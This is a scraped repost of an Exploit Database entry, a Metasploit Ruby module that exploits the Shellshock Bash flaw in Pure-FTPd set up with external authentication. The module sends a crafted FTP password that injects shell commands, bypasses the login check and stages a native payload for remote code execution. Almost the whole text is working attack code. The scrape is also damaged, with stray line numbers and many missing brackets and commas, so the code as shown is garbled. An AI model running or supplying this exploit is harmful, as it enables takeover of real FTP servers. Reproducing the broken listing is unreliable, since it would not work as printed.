Pure-FTPd – External Authentication Bash Environment Variable Code Injection (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2014-10-02
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/34862/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Ftp

include Msf::Exploit::CmdStager

def initialize(info = {})

super(update_info(info,

'Name'=> 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',

'Description' => %q(

This module exploits the code injection flaw known as shellshock which

leverages specially crafted environment variables in Bash. This exploit

specifically targets Pure-FTPd when configured to use an external

program for authentication.

'Author'=>

[

'Stephane Chazelas', # Vulnerability discovery

'Frank Denis', # Discovery of Pure-FTPd attack vector

'Spencer McIntyre' # Metasploit module

'References'=>

[

['CVE', '2014-6271'],

['OSVDB', '112004'],

['EDB', '34765'],

['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']

'Payload' =>

{

'DisableNops' => true,

'Space' => 2048

'Targets' =>

[

[ 'Linux x86',

{

'Platform'=> 'linux',

'Arch'=> ARCH_X86,

'CmdStagerFlavor' => :printf

}

[ 'Linux x86_64',

{

'Platform'=> 'linux',

'Arch'=> ARCH_X86_64,

'CmdStagerFlavor' => :printf

}

]

'DefaultOptions' =>

{

'PrependFork' => true

'DefaultTarget'=> 0,

'DisclosureDate' => 'Sep 24 2014'))

register_options(

[

Opt::RPORT(21),

OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])

], self.class)

deregister_options('FTPUSER', 'FTPPASS')

end

def check

# this check method tries to use the vulnerability to bypass the login

username = rand_text_alphanumeric(rand(20) + 1)

random_id = (rand(100) + 1)

command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"

if send_command(username, command) =~ /^2\d\d ok./i

return CheckCode::Safe if banner !~ /pure-ftpd/i

disconnect

command = "echo auth_ok:0; echo end"

if send_command(username, command) =~ /^5\d\d login authentication failed/i

return CheckCode::Vulnerable

end

disconnect

CheckCode::Safe

end

def execute_command(cmd, _opts)

cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")

username = rand_text_alphanumeric(rand(20) + 1)

send_command(username, cmd)

end

def exploit

# Cannot use generic/shell_reverse_tcp inside an elf

# Checking before proceeds

if generate_payload_exe.blank?

fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")

end

execute_cmdstager(linemax: 500)

handler

end

def send_command(username, cmd)

cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""

connect

send_user(username)

password_result = send_pass(cmd)

disconnect

password_result

end